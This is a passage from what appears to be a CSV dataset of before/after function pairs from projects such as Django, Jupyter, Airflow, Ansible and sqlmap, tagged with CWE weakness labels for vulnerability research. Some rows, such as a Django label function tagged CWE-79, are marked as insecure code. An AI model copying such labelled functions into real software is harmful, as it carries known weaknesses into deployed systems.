        self._inference_data, self._inference_params = _split_input_data_and_params(
            deepcopy(input_example)
        )
        if self._inference_params:
            self.info[EXAMPLE_PARAMS_KEY] = ""true""
        model_input = deepcopy(self._inference_data)

        is_unified_llm_input = False
        if isinstance(model_input, dict):
            """"""
            Supported types are:
            - Dict[str, Union[DataType, List, Dict]] --> type: json_object
            - Dict[str, numpy.ndarray] --> type: ndarray
            """"""
            if any(isinstance(values, np.ndarray) for values in model_input.values()):
                if not all(isinstance(values, np.ndarray) for values in model_input.values()):
                    raise MlflowException.invalid_parameter_value(
                        ""Mixed types in dictionary are not supported as input examples. ""
                        ""Found numpy arrays and other types.""
                    )
                self.info[""type""] = ""ndarray""
                model_input = _handle_ndarray_input(model_input)
                self.serving_input = {INPUTS: model_input}
            else:
                from mlflow.pyfunc.utils.serving_data_parser import is_unified_llm_input

                self.info[""type""] = ""json_object""
                is_unified_llm_input = is_unified_llm_input(model_input)
                if is_unified_llm_input:
                    self.serving_input = model_input
                else:
                    self.serving_input = {INPUTS: model_input}
        elif isinstance(model_input, np.ndarray):
            """"""type: ndarray""""""
            model_input = _handle_ndarray_input(model_input)
            self.info[""type""] = ""ndarray""
            self.serving_input = {INPUTS: model_input}
        elif isinstance(model_input, list):
            """"""
            Supported types are:
            - List[DataType]
            - List[Dict[str, Union[DataType, List, Dict]]]
            --> type: json_object
            """"""
            if _contains_nd_array(model_input):
                raise TensorsNotSupportedException(
                    ""Numpy arrays in list are not supported as input examples.""
                )
            self.info[""type""] = ""json_object""
            self.serving_input = {INPUTS: model_input}
        elif _is_sparse_matrix(model_input):
            """"""
            Supported types are:
            - scipy.sparse.csr_matrix
            - scipy.sparse.csc_matrix
            Note: This type of input is not supported by the scoring server yet
            """"""
            if isinstance(model_input, csc_matrix):
                example_type = ""sparse_matrix_csc""
            else:
                example_type = ""sparse_matrix_csr""
            self.info[""type""] = example_type
            model_input = _handle_sparse_matrix(model_input)
            self.serving_input = None
        elif isinstance(model_input, pd.DataFrame):
            model_input = _convert_dataframe_to_split_dict(model_input)
            self.serving_input = {DF_SPLIT: model_input}
            orient = ""split"" if ""columns"" in model_input else ""values""
            self.info.update(
                {
                    ""type"": ""dataframe"",
                    ""pandas_orient"": orient,
                }
            )
        elif np.isscalar(model_input):
            self.info[""type""] = ""json_object""
            self.serving_input = {INPUTS: model_input}
        else:
            raise MlflowException.invalid_parameter_value(
                ""Expected one of the following types:\n""
                ""- pandas.DataFrame\n""
                ""- numpy.ndarray\n""
                ""- dictionary of (name -> numpy.ndarray)\n""
                ""- scipy.sparse.csr_matrix\n""
                ""- scipy.sparse.csc_matrix\n""
                ""- dict\n""
                ""- list\n""
                ""- scalars\n""
                f""but got '{type(model_input)}'"",
            )

        if self._inference_params is not None:
            """"""
            Save input data and params with their respective keys, so we can load them separately.
            """"""
            model_input = {
                EXAMPLE_DATA_KEY: model_input,
                EXAMPLE_PARAMS_KEY: self._inference_params,
            }
            if self.serving_input:
                if is_unified_llm_input:
                    self.serving_input = {
                        **(self.serving_input or {}),
                        **self._inference_params,
                    }
                else:
                    self.serving_input = {
                        **(self.serving_input or {}),
                        SERVING_PARAMS_KEY: self._inference_params,
                    }

        self.json_input_example = json.dumps(model_input, cls=NumpyEncoder)
        if self.serving_input:
            self.json_serving_input = json.dumps(self.serving_input, cls=NumpyEncoder, indent=2)
            self.info[SERVING_INPUT_PATH] = SERVING_INPUT_FILENAME
        else:
            self.json_serving_input = None"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/pyfunc/loaders/chat_agent.py,0,"def _response_to_dict(self, response, pydantic_class) -> dict[str, Any]:
        if isinstance(response, pydantic_class):
            return response.model_dump_compat(exclude_none=True)
        try:
            model_validate(pydantic_class, response)
        except pydantic.ValidationError as e:
            raise MlflowException(
                message=(
                    f""Model returned an invalid response. Expected a {pydantic_class.__name__} ""
                    f""object or dictionary with the same schema. Pydantic validation error: {e}""
                ),
                error_code=INTERNAL_ERROR,
            ) from e
        return response",,mlflow/mlflow,93890d1a0f18d05d18d02e28c4d2346c8e7db796,"def _response_to_dict(self, response, pydantic_class) -> dict[str, Any]:
        if isinstance(response, pydantic_class):
            return response.model_dump_compat(exclude_none=True)
        try:
            model_validate(pydantic_class, response)
        except pydantic.ValidationError as e:
            raise MlflowException(
                message=(
                    f""Model returned an invalid response. Expected a {pydantic_class.__name__} ""
                    f""object or dictionary with the same schema. Pydantic validation error: {e}""
                ),
                error_code=INTERNAL_ERROR,
            ) from e
        return response"
,UNKNOWN,UNKNOWN,django/contrib/admin/helpers.py,1,"def label_tag(self):
        classes = []
        contents = conditional_escape(force_text(self.field.label))
        if self.is_checkbox:
            classes.append('vCheckboxLabel')

        if self.field.field.required:
            classes.append('required')
        if not self.is_first:
            classes.append('inline')
        attrs = {'class': ' '.join(classes)} if classes else {}
        # checkboxes should not have a label suffix as the checkbox appears
        # to the left of the label.
        return self.field.label_tag(contents=mark_safe(contents), attrs=attrs,
                                    label_suffix='' if self.is_checkbox else None)",CWE-79,django/django,dbbd2b1272e5a3ce7ab4b39b9a74f4ea725b104f,"def label_tag(self):
        classes = []
        contents = conditional_escape(force_text(self.field.label))
        if self.is_checkbox:
            classes.append('vCheckboxLabel')
        else:
            contents += ':'
        if self.field.field.required:
            classes.append('required')
        if not self.is_first:
            classes.append('inline')
        attrs = {'class': ' '.join(classes)} if classes else {}
        return self.field.label_tag(contents=mark_safe(contents), attrs=attrs)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/auth/login.py,0,"def get_user(cls, handler):
        """"""Called by handlers.get_current_user for identifying the current user.

        See tornado.web.RequestHandler.get_current_user for details.
        """"""
        # Can't call this get_current_user because it will collide when
        # called on LoginHandler itself.
        if getattr(handler, '_user_id', None):
            return handler._user_id
        user_id = cls.get_user_token(handler)
        if user_id is None:
            user_id = handler.get_secure_cookie(handler.cookie_name)
        else:
            cls.set_login_cookie(handler, user_id)
            # Record that the current request has been authenticated with a token.
            # Used in is_token_authenticated above.
            handler._token_authenticated = True
        if user_id is None:
            # If an invalid cookie was sent, clear it to prevent unnecessary
            # extra warnings. But don't do this on a request with *no* cookie,
            # because that can erroneously log you out (see gh-3365)
            if handler.get_cookie(handler.cookie_name) is not None:
                handler.log.warning(""Clearing invalid/expired login cookie %s"", handler.cookie_name)
                handler.clear_login_cookie()
            if not handler.login_available:
                # Completely insecure! No authentication at all.
                # No need to warn here, though; validate_security will have already done that.
                user_id = 'anonymous'

        # cache value for future retrievals on the same request
        handler._user_id = user_id
        return user_id",,jupyter/notebook,f00215bc8033eef5b59d3904dede6fc187f448c7,"def get_user(cls, handler):
        """"""Called by handlers.get_current_user for identifying the current user.

        See tornado.web.RequestHandler.get_current_user for details.
        """"""
        # Can't call this get_current_user because it will collide when
        # called on LoginHandler itself.
        if getattr(handler, '_user_id', None):
            return handler._user_id
        user_id = cls.get_user_token(handler)
        if user_id is None:
            user_id = handler.get_secure_cookie(handler.cookie_name)
        else:
            cls.set_login_cookie(handler, user_id)
            # Record that the current request has been authenticated with a token.
            # Used in is_token_authenticated above.
            handler._token_authenticated = True
        if user_id is None:
            # prevent extra Invalid cookie sig warnings:
            handler.clear_login_cookie()
            if not handler.login_available:
                # Completely insecure! No authentication at all.
                # No need to warn here, though; validate_security will have already done that.
                user_id = 'anonymous'

        # cache value for future retrievals on the same request
        handler._user_id = user_id
        return user_id"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/cli/commands/test_webserver_command.py,0,"def test_cli_webserver_background(self):
        pidfile_webserver = setup_locations(""webserver"")[0]
        pidfile_monitor = setup_locations(""webserver-monitor"")[0]

        # Run webserver as daemon in background. Note that the wait method is not called.
        subprocess.Popen([""airflow"", ""webserver"", ""--daemon""])

        pid_monitor = self._wait_pidfile(pidfile_monitor)
        self._wait_pidfile(pidfile_webserver)

        # Assert that gunicorn and its monitor are launched.
        self.assertEqual(0, subprocess.Popen([""pgrep"", ""--full"", ""--count"", ""airflow webserver""]).wait())
        self.assertEqual(0, subprocess.Popen([""pgrep"", ""--count"", ""gunicorn""]).wait())

        # Terminate monitor process.
        proc = psutil.Process(pid_monitor)
        proc.terminate()
        proc.wait()",CWE-Unknown,apache/airflow,f429c3c8e3cac3df9e93f8cbf606c23d56a2bb9a,"def test_cli_webserver_background(self):
        pidfile_webserver = setup_locations(""webserver"")[0]
        pidfile_monitor = setup_locations(""webserver-monitor"")[0]

        # Run webserver as daemon in background. Note that the wait method is not called.
        subprocess.Popen([""airflow"", ""webserver"", ""--daemon""])

        pid_monitor = self._wait_pidfile(pidfile_monitor)
        self._wait_pidfile(pidfile_webserver)

        # Assert that gunicorn and its monitor are launched.
        self.assertEqual(0, subprocess.Popen([""pgrep"", ""--full"", ""--count"", ""airflow webserver""]).wait())
        self.assertEqual(0, subprocess.Popen([""pgrep"", ""--count"", ""gunicorn""]).wait())

        # Terminate monitor process.
        proc = psutil.Process(pid_monitor)
        proc.terminate()
        proc.wait()"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/escape_test.py,0,"def test_url_escape_unicode(self):
        tests = [
            # byte strings are passed through as-is
            (""\u00e9"".encode(), ""%C3%A9""),
            (""\u00e9"".encode(""latin1""), ""%E9""),
            # unicode strings become utf8
            (""\u00e9"", ""%C3%A9""),
        ]  # type: List[Tuple[Union[str, bytes], str]]
        for unescaped, escaped in tests:
            self.assertEqual(url_escape(unescaped), escaped)",CWE-Unknown,tornadoweb/tornado,6c4d751028fdb662e8167920c8aa47b88460da92,"def test_url_escape_unicode(self):
        tests = [
            # byte strings are passed through as-is
            (""\u00e9"".encode(""utf8""), ""%C3%A9""),
            (""\u00e9"".encode(""latin1""), ""%E9""),
            # unicode strings become utf8
            (""\u00e9"", ""%C3%A9""),
        ]  # type: List[Tuple[Union[str, bytes], str]]
        for unescaped, escaped in tests:
            self.assertEqual(url_escape(unescaped), escaped)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/playbook.py,0,,,ansible/ansible,45abe3c16b6e5139875bc78bbe2b6a0c73d99bec,"def __init__(self,
        playbook     =None,
        host_list    =C.DEFAULT_HOST_LIST,
        module_path  =C.DEFAULT_MODULE_PATH,
        forks        =C.DEFAULT_FORKS,
        timeout      =C.DEFAULT_TIMEOUT,
        remote_user  =C.DEFAULT_REMOTE_USER,
        remote_pass  =C.DEFAULT_REMOTE_PASS,
        verbose=False,
        callbacks=None):

        # TODO, once ansible-playbook is it's own script this will
        # have much LESS parameters to the constructor and will
        # read most everything per pattern from the playbook
        # and this will be greatly simplified

        self.host_list   = host_list
        self.module_path = module_path
        self.forks       = forks
        self.timeout     = timeout
        self.remote_user = remote_user
        self.remote_pass = remote_pass
        self.verbose     = verbose
        self.callbacks   = callbacks
        self.callbacks.set_playbook(self)

        # store the list of changes/invocations/failure counts
        # as a dictionary of integers keyed off the hostname

        self.processed    = {}
        self.dark         = {}
        self.changed      = {}
        self.invocations  = {}
        self.failures     = {}

        # playbook file can be passed in as a path or
        # as file contents (to support API usage)

        self.basedir = os.path.dirname(playbook)
        self.playbook = self._parse_playbook(playbook)"
,UNKNOWN,UNKNOWN,tests/providers/yandex/hooks/test_dataproc.py,1,"def test_create_dataproc_cluster_mocked(self, mock_create_operation):
        self._init_hook()

        self.hook.dataproc_client.create_cluster(
            cluster_name=CLUSTER_NAME,
            ssh_public_keys=SSH_PUBLIC_KEYS,
            folder_id=FOLDER_ID,
            subnet_id=SUBNET_ID,
            zone=AVAILABILITY_ZONE_ID,
            s3_bucket=S3_BUCKET_NAME_FOR_LOGS,
            cluster_image_version=CLUSTER_IMAGE_VERSION,
            service_account_id=SERVICE_ACCOUNT_ID,
        )
        assert mock_create_operation.called",CWE-703,apache/airflow,2daa5bd01a65b6062ec3a38aa71dc462c805ba28,"def test_create_dataproc_cluster_mocked(self, mock_create_operation):
        self._init_hook()

        self.hook.client.create_cluster(
            cluster_name=CLUSTER_NAME,
            ssh_public_keys=SSH_PUBLIC_KEYS,
            folder_id=FOLDER_ID,
            subnet_id=SUBNET_ID,
            zone=AVAILABILITY_ZONE_ID,
            s3_bucket=S3_BUCKET_NAME_FOR_LOGS,
            cluster_image_version=CLUSTER_IMAGE_VERSION,
            service_account_id=SERVICE_ACCOUNT_ID,
        )
        assert mock_create_operation.called"
,UNKNOWN,UNKNOWN,helm_tests/airflow_aux/test_configmap.py,1,"def test_pod_template_is_templated(self):
        docs = render_chart(
            values={
                ""executor"": ""KubernetesExecutor"",
                ""podTemplate"": """"""
apiVersion: v1
kind: Pod
metadata:
  name: example-name
  labels:
    mylabel: {{ .Release.Name }}
"""""",
            },
            show_only=[""templates/configmaps/configmap.yaml""],
        )

        pod_template_file = jmespath.search('data.""pod_template_file.yaml""', docs[0])
        assert ""mylabel: release-name"" in pod_template_file",CWE-703,apache/airflow,6e4623ab531a1b6755f6847d2587d014a387560d,"def test_pod_template_is_templated(self):
        docs = render_chart(
            values={
                ""executor"": ""KubernetesExecutor"",
                ""podTemplate"": """"""
apiVersion: v1
kind: Pod
metadata:
  name: example-name
  labels:
    mylabel: {{ .Release.Name }}
"""""",
            },
            show_only=[""templates/configmaps/configmap.yaml""],
        )

        pod_template_file = jmespath.search('data.""pod_template_file.yaml""', docs[0])
        assert ""mylabel: release-name"" in pod_template_file"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/models/query.py,0,"def __iter__(self):
        # Mapping of attrnames to row column positions. Used for constructing
        # the model using kwargs, needed when not all model's fields are present
        # in the query.
        model_init_field_names = {}
        # A list of tuples of (column name, column position). Used for
        # annotation fields.
        annotation_fields = []

        # Cache some things for performance reasons outside the loop.
        db = self.db
        compiler = connections[db].ops.compiler('SQLCompiler')(
            self.query, connections[db], db
        )
        need_resolv_columns = hasattr(compiler, 'resolve_columns')

        query = iter(self.query)

        # Find out which columns are model's fields, and which ones should be
        # annotated to the model.
        for pos, column in enumerate(self.columns):
            if column in self.model_fields:
                model_init_field_names[self.model_fields[column].attname] = pos
            else:
                annotation_fields.append((column, pos))

        # Find out which model's fields are not present in the query.
        skip = set()
        for field in self.model._meta.fields:
            if field.attname not in model_init_field_names:
                skip.add(field.attname)
        if skip:
            if self.model._meta.pk.attname in skip:
                raise InvalidQuery('Raw query must include the primary key')
            model_cls = deferred_class_factory(self.model, skip)
        else:
            model_cls = self.model
            # All model's fields are present in the query. So, it is possible
            # to use *args based model instantation. For each field of the model,
            # record the query column position matching that field.
            model_init_field_pos = []
            for field in self.model._meta.fields:
                model_init_field_pos.append(model_init_field_names[field.attname])
        if need_resolv_columns:
            fields = [self.model_fields.get(c, None) for c in self.columns]
        # Begin looping through the query values.
        for values in query:
            if need_resolv_columns:
                values = compiler.resolve_columns(values, fields)
            # Associate fields to values
            if skip:
                model_init_kwargs = {}
                for attname, pos in six.iteritems(model_init_field_names):
                    model_init_kwargs[attname] = values[pos]
                instance = model_cls(**model_init_kwargs)
            else:
                model_init_args = [values[pos] for pos in model_init_field_pos]
                instance = model_cls(*model_init_args)
            if annotation_fields:
                for column, pos in annotation_fields:
                    setattr(instance, column, values[pos])

            instance._state.db = db
            instance._state.adding = False

            yield instance",CWE-Unknown,django/django,d097417025e71286ad5bbde6e0a79caacabbbd64,"def __iter__(self):
        # Mapping of attrnames to row column positions. Used for constructing
        # the model using kwargs, needed when not all model's fields are present
        # in the query.
        model_init_field_names = {}
        # A list of tuples of (column name, column position). Used for
        # annotation fields.
        annotation_fields = []

        # Cache some things for performance reasons outside the loop.
        db = self.db
        compiler = connections[db].ops.compiler('SQLCompiler')(
            self.query, connections[db], db
        )
        need_resolv_columns = hasattr(compiler, 'resolve_columns')

        query = iter(self.query)

        # Find out which columns are model's fields, and which ones should be
        # annotated to the model.
        for pos, column in enumerate(self.columns):
            if column in self.model_fields:
                model_init_field_names[self.model_fields[column].attname] = pos
            else:
                annotation_fields.append((column, pos))

        # Find out which model's fields are not present in the query.
        skip = set()
        for field in self.model._meta.fields:
            if field.attname not in model_init_field_names:
                skip.add(field.attname)
        if skip:
            if self.model._meta.pk.attname in skip:
                raise InvalidQuery('Raw query must include the primary key')
            model_cls = deferred_class_factory(self.model, skip)
        else:
            model_cls = self.model
            # All model's fields are present in the query. So, it is possible
            # to use *args based model instantation. For each field of the model,
            # record the query column position matching that field.
            model_init_field_pos = []
            for field in self.model._meta.fields:
                model_init_field_pos.append(model_init_field_names[field.attname])
        if need_resolv_columns:
            fields = [self.model_fields.get(c, None) for c in self.columns]
        # Begin looping through the query values.
        for values in query:
            if need_resolv_columns:
                values = compiler.resolve_columns(values, fields)
            # Associate fields to values
            if skip:
                model_init_kwargs = {}
                for attname, pos in six.iteritems(model_init_field_names):
                    model_init_kwargs[attname] = values[pos]
                instance = model_cls(**model_init_kwargs)
            else:
                model_init_args = [values[pos] for pos in model_init_field_pos]
                instance = model_cls(*model_init_args)
            if annotation_fields:
                for column, pos in annotation_fields:
                    setattr(instance, column, values[pos])

            instance._state.db = db
            instance._state.adding = False

            yield instance"
,UNKNOWN,UNKNOWN,lib/request/redirecthandler.py,1,"def http_error_302(self, req, fp, code, msg, headers):
        start = time.time()
        content = None
        redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None

        try:
            content = fp.read(MAX_CONNECTION_TOTAL_SIZE)
        except:  # e.g. IncompleteRead
            content = """"
        finally:
            if content:
                try:  # try to write it back to the read buffer so we could reuse it in further steps
                    fp.fp._rbuf.truncate(0)
                    fp.fp._rbuf.write(content)
                except:
                    pass

        content = decodePage(content, headers.get(HTTP_HEADER.CONTENT_ENCODING), headers.get(HTTP_HEADER.CONTENT_TYPE))

        threadData = getCurrentThreadData()
        threadData.lastRedirectMsg = (threadData.lastRequestUID, content)

        redirectMsg = ""HTTP redirect ""
        redirectMsg += ""[#%d] (%d %s):\r\n"" % (threadData.lastRequestUID, code, getUnicode(msg))

        if headers:
            logHeaders = ""\r\n"".join(""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in headers.items())
        else:
            logHeaders = """"

        redirectMsg += logHeaders
        if content:
            redirectMsg += ""\r\n\r\n%s"" % getUnicode(content[:MAX_CONNECTION_READ_SIZE])

        logHTTPTraffic(threadData.lastRequestMsg, redirectMsg, start, time.time())
        logger.log(CUSTOM_LOGGING.TRAFFIC_IN, redirectMsg)

        if redurl:
            try:
                if not _urllib.parse.urlsplit(redurl).netloc:
                    redurl = _urllib.parse.urljoin(req.get_full_url(), redurl)

                self._infinite_loop_check(req)
                self._ask_redirect_choice(code, redurl, req.get_method())
            except ValueError:
                redurl = None
                result = fp

        if redurl and kb.redirectChoice == REDIRECTION.YES:
            parseResponse(content, headers)

            req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl)
            if headers and HTTP_HEADER.SET_COOKIE in headers:
                cookies = dict()
                delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER
                last = None

                for part in req.headers.get(HTTP_HEADER.COOKIE, """").split(delimiter) + ([headers[HTTP_HEADER.SET_COOKIE]] if HTTP_HEADER.SET_COOKIE in headers else []):
                    if '=' in part:
                        part = part.strip()
                        key, value = part.split('=', 1)
                        cookies[key] = value
                        last = key
                    elif last:
                        cookies[last] += ""%s%s"" % (delimiter, part)

                req.headers[HTTP_HEADER.COOKIE] = delimiter.join(""%s=%s"" % (key, cookies[key]) for key in cookies)

            try:
                result = _urllib.request.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
            except _urllib.error.HTTPError as ex:
                result = ex

                # Dirty hack for https://github.com/sqlmapproject/sqlmap/issues/4046
                try:
                    hasattr(result, ""read"")
                except KeyError:
                    class _(object):
                        pass
                    result = _()

                # Dirty hack for http://bugs.python.org/issue15701
                try:
                    result.info()
                except AttributeError:
                    def _(self):
                        return getattr(self, ""hdrs"") or {}
                    result.info = types.MethodType(_, result)

                if not hasattr(result, ""read""):
                    def _(self, length=None):
                        try:
                            retVal = getSafeExString(ex)
                        except:
                            retVal = """"
                        finally:
                            return retVal
                    result.read = types.MethodType(_, result)

                if not getattr(result, ""url"", None):
                    result.url = redurl

                if not getattr(result, ""code"", None):
                    result.code = 999
            except:
                redurl = None
                result = fp
                fp.read = io.BytesIO(b"""").read
        else:
            result = fp

        threadData.lastRedirectURL = (threadData.lastRequestUID, redurl)

        result.redcode = code
        result.redurl = getUnicode(redurl)
        return result",CWE-703,sqlmapproject/sqlmap,e0ecf8c8042b86b38c900c21ffdb2486a469f176,"def http_error_302(self, req, fp, code, msg, headers):
        start = time.time()
        content = None
        redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None

        try:
            content = fp.read(MAX_CONNECTION_TOTAL_SIZE)
        except:  # e.g. IncompleteRead
            content = """"
        finally:
            if content:
                try:  # try to write it back to the read buffer so we could reuse it in further steps
                    fp.fp._rbuf.truncate(0)
                    fp.fp._rbuf.write(content)
                except:
                    pass

        content = decodePage(content, headers.get(HTTP_HEADER.CONTENT_ENCODING), headers.get(HTTP_HEADER.CONTENT_TYPE))

        threadData = getCurrentThreadData()
        threadData.lastRedirectMsg = (threadData.lastRequestUID, content)

        redirectMsg = ""HTTP redirect ""
        redirectMsg += ""[#%d] (%d %s):\r\n"" % (threadData.lastRequestUID, code, getUnicode(msg))

        if headers:
            logHeaders = ""\r\n"".join(""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in headers.items())
        else:
            logHeaders = """"

        redirectMsg += logHeaders
        if content:
            redirectMsg += ""\r\n\r\n%s"" % getUnicode(content[:MAX_CONNECTION_READ_SIZE])

        logHTTPTraffic(threadData.lastRequestMsg, redirectMsg, start, time.time())
        logger.log(CUSTOM_LOGGING.TRAFFIC_IN, redirectMsg)

        if redurl:
            try:
                if not _urllib.parse.urlsplit(redurl).netloc:
                    redurl = _urllib.parse.urljoin(req.get_full_url(), redurl)

                self._infinite_loop_check(req)
                self._ask_redirect_choice(code, redurl, req.get_method())
            except ValueError:
                redurl = None
                result = fp

        if redurl and kb.redirectChoice == REDIRECTION.YES:
            parseResponse(content, headers)

            req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl)
            if headers and HTTP_HEADER.SET_COOKIE in headers:
                cookies = dict()
                delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER
                last = None

                for part in req.headers.get(HTTP_HEADER.COOKIE, """").split(delimiter) + ([headers[HTTP_HEADER.SET_COOKIE]] if HTTP_HEADER.SET_COOKIE in headers else []):
                    if '=' in part:
                        part = part.strip()
                        key, value = part.split('=', 1)
                        cookies[key] = value
                        last = key
                    elif last:
                        cookies[last] += ""%s%s"" % (delimiter, part)

                req.headers[HTTP_HEADER.COOKIE] = delimiter.join(""%s=%s"" % (key, cookies[key]) for key in cookies)

            try:
                result = _urllib.request.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
            except _urllib.error.HTTPError as ex:
                result = ex

                # Dirty hack for https://github.com/sqlmapproject/sqlmap/issues/4046
                try:
                    hasattr(result, ""read"")
                except KeyError:
                    class _(object):
                        pass
                    result = _()

                # Dirty hack for http://bugs.python.org/issue15701
                try:
                    result.info()
                except AttributeError:
                    def _(self):
                        return getattr(self, ""hdrs"") or {}
                    result.info = types.MethodType(_, result)

                if not hasattr(result, ""read""):
                    def _(self, length=None):
                        try:
                            retVal = getSafeExString(ex)
                        except:
                            retVal = """"
                        finally:
                            return retVal
                    result.read = types.MethodType(_, result)

                if not getattr(result, ""url"", None):
                    result.url = redurl

                if not getattr(result, ""code"", None):
                    result.code = 999
            except:
                redurl = None
                result = fp
                fp.read = io.BytesIO("""").read
        else:
            result = fp

        threadData.lastRedirectURL = (threadData.lastRequestUID, redurl)

        result.redcode = code
        result.redurl = getUnicode(redurl)
        return result"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/azure/azure_rm_devtestlabenvironment.py,0,"def exec_module(self, **kwargs):
        """"""Main module execution method""""""

        for key in list(self.module_arg_spec.keys()) + ['tags']:
            if hasattr(self, key):
                setattr(self, key, kwargs[key])
            elif kwargs[key] is not None:
                self.dtl_environment[key] = kwargs[key]

        response = None

        self.mgmt_client = self.get_mgmt_svc_client(DevTestLabsClient,
                                                    base_url=self._cloud_environment.endpoints.resource_manager)

        resource_group = self.get_resource_group(self.resource_group)
        deployment_template = self.dtl_environment.pop('deployment_template', None)
        if deployment_template:
            if isinstance(deployment_template, dict):
                if all(key in deployment_template for key in ('artifact_source_name', 'name')):
                    tmp = '/subscriptions/{0}/resourcegroups/{1}/providers/microsoft.devtestlab/labs/{2}/artifactSources/{3}/armTemplates/{4}'
                    deployment_template = tmp.format(self.subscription_id,
                                                     self.resource_group,
                                                     self.lab_name,
                                                     deployment_template['artifact_source_name'],
                                                     deployment_template['name'])
            if not isinstance(deployment_template, str):
                self.fail(""parameter error: expecting deployment_template to contain [artifact_source, name]"")
            self.dtl_environment['deployment_properties'] = {}
            self.dtl_environment['deployment_properties']['arm_template_id'] = deployment_template
            self.dtl_environment['deployment_properties']['parameters'] = self.dtl_environment.pop('deployment_parameters', None)

        old_response = self.get_environment()

        if not old_response:
            self.log(""Environment instance doesn't exist"")
            if self.state == 'absent':
                self.log(""Old instance didn't exist"")
            else:
                self.to_do = Actions.Create
        else:
            self.log(""Environment instance already exists"")
            if self.state == 'absent':
                self.to_do = Actions.Delete
            elif self.state == 'present':
                if (not default_compare(self.dtl_environment, old_response, '', self.results)):
                    self.to_do = Actions.Update

        if (self.to_do == Actions.Create) or (self.to_do == Actions.Update):
            self.log(""Need to Create / Update the Environment instance"")

            if self.check_mode:
                self.results['changed'] = True
                return self.results

            response = self.create_update_environment()

            self.results['changed'] = True
            self.log(""Creation / Update done"")
        elif self.to_do == Actions.Delete:
            self.log(""Environment instance deleted"")
            self.results['changed'] = True

            if self.check_mode:
                return self.results

            self.delete_environment()
            # This currently doesn't work as there is a bug in SDK / Service
            if isinstance(response, LROPoller) or isinstance(response, AzureOperationPoller):
                response = self.get_poller_result(response)
        else:
            self.log(""Environment instance unchanged"")
            self.results['changed'] = False
            response = old_response

        if self.state == 'present':
            self.results.update({
                'id': response.get('id', None)
            })
        return self.results",,ansible/ansible,255754a4d108b133d433638d3e11a22d748e60d4,"def exec_module(self, **kwargs):
        """"""Main module execution method""""""

        for key in list(self.module_arg_spec.keys()) + ['tags']:
            if hasattr(self, key):
                setattr(self, key, kwargs[key])
            elif kwargs[key] is not None:
                self.dtl_environment[key] = kwargs[key]

        response = None

        self.mgmt_client = self.get_mgmt_svc_client(DevTestLabsClient,
                                                    base_url=self._cloud_environment.endpoints.resource_manager)

        resource_group = self.get_resource_group(self.resource_group)
        deployment_template = self.dtl_environment.pop('deployment_template', None)
        if deployment_template:
            if isinstance(deployment_template, dict):
                if all(key in deployment_template for key in ('artifact_source_name', 'name')):
                    tmp = '/subscriptions/{0}/resourcegroups/{1}/providers/microsoft.devtestlab/labs/{2}/artifactSources/{3}/armTemplates/{4}'
                    deployment_template = tmp.format(self.subscription_id,
                                                     self.resource_group,
                                                     self.lab_name,
                                                     deployment_template['artifact_source_name'],
                                                     deployment_template['name'])
            if not isinstance(deployment_template, str):
                self.fail(""parameter error: expecting deployment_template to contain [artifact_source, name]"")
            self.dtl_environment['deployment_properties'] = {}
            self.dtl_environment['deployment_properties']['arm_template_id'] = deployment_template
            self.dtl_environment['deployment_properties']['parameters'] = self.dtl_environment.pop('deployment_parameters', None)

        old_response = self.get_environment()

        if not old_response:
            self.log(""Environment instance doesn't exist"")
            if self.state == 'absent':
                self.log(""Old instance didn't exist"")
            else:
                self.to_do = Actions.Create
        else:
            self.log(""Environment instance already exists"")
            if self.state == 'absent':
                self.to_do = Actions.Delete
            elif self.state == 'present':
                if (not default_compare(self.dtl_environment, old_response, '', self.results)):
                    self.to_do = Actions.Update

        if (self.to_do == Actions.Create) or (self.to_do == Actions.Update):
            self.log(""Need to Create / Update the Environment instance"")

            if self.check_mode:
                self.results['changed'] = True
                return self.results

            response = self.create_update_environment()

            self.results['changed'] = True
            self.log(""Creation / Update done"")
        elif self.to_do == Actions.Delete:
            self.log(""Environment instance deleted"")
            self.results['changed'] = True

            if self.check_mode:
                return self.results

            self.delete_environment()
            # This currently doesnt' work as there is a bug in SDK / Service
            if isinstance(response, LROPoller) or isinstance(response, AzureOperationPoller):
                response = self.get_poller_result(response)
        else:
            self.log(""Environment instance unchanged"")
            self.results['changed'] = False
            response = old_response

        if self.state == 'present':
            self.results.update({
                'id': response.get('id', None)
            })
        return self.results"
,UNKNOWN,UNKNOWN,lib/ansible/module_utils/urls.py,1,"def fetch_url(module, url, data=None, headers=None, method=None,
              use_proxy=True, force=False, last_mod_time=None, timeout=10):
    """"""Sends a request via HTTP(S) or FTP (needs the module as parameter)

    :arg module: The AnsibleModule (used to get username, password etc. (s.b.).
    :arg url:             The url to use.

    :kwarg data:          The data to be sent (in case of POST/PUT).
    :kwarg headers:       A dict with the request headers.
    :kwarg method:        ""POST"", ""PUT"", etc.
    :kwarg boolean use_proxy:     Default: True
    :kwarg boolean force: If True: Do not get a cached copy (Default: False)
    :kwarg last_mod_time: Default: None
    :kwarg int timeout:   Default: 10

    :returns: A tuple of (**response**, **info**). Use ``response.read()`` to read the data.
        The **info** contains the 'status' and other meta data. When a HttpError (status > 400)
        occurred then ``info['body']`` contains the error response data::

    Example::

        data={...}
        resp, info = fetch_url(module,
                               ""http://example.com"",
                               data=module.jsonify(data)
                               header={Content-type': 'application/json'},
                               method=""POST"")
        status_code = info[""status""]
        body = resp.read()
        if status_code >= 400 :
            body = info['body']
    """"""

    if not HAS_URLPARSE:
        module.fail_json(msg='urlparse is not installed')

